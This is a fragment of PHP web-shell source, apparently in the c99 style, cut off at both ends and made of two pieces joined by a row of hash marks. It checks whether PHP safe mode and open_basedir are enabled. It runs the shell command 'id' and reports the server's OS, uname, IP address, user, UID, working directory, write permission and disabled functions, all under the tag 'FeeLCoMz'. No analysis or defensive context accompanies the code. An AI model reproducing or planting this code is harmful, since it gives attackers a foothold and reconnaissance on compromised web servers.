} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = @urlencode($d); if (empty($d)) { $d = realpath("."); } elseif (realpath($d)) { $d = realpath($d); } $d = str_replace("\\", DIRECTORY_SEPARATOR, $d); if (substr($d, -1) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } $d = str_replace("\\\\", "\\", $d); $dispd = htmlspecialchars($d); $safemode = safemode(); if ($safemode) { $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>"; $safemodeexecdir = @ini_get("safe_mode_exec_dir"); } else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; } $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") { $openbasedir = TRUE; $hopenbasedir = "<font color=red>" . $v . "</font>"; } else { $openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>"; } ##################
<html> <head> <title></title> </head> <body> <pre> <?php fx("ID", "FeeL" . "CoMz"); $P = @getcwd(); $IP = @getenv("SERVER_ADDR"); $UID = fx29exec("id"); fx("SAFE", @safemode() ? "ON" : "OFF"); fx("OS", @PHP_OS); fx("UNAME", @php_uname()); fx("SERVER", $IP ? $IP : "-"); fx("USER", @get_current_user()); fx("UID", $UID ? $UID : "uid=" . @getmyuid() . " gid=" . @getmygid()); fx("DIR", $P); fx("PERM", @is_writable($P) ? "[W]" : "[R]"); fx("DISFUNC", @getdisfunc()); function fx($t, $c) { echo "{$t}: "; echo is_array($c) ? join(" ", $c) : $c; echo "\r\n"; } function safemode() { return (@ini_get("safe_mode") or eregi("on", @ini_get("safe_mode"))) ? TRUE : FALSE; } function getdisfunc()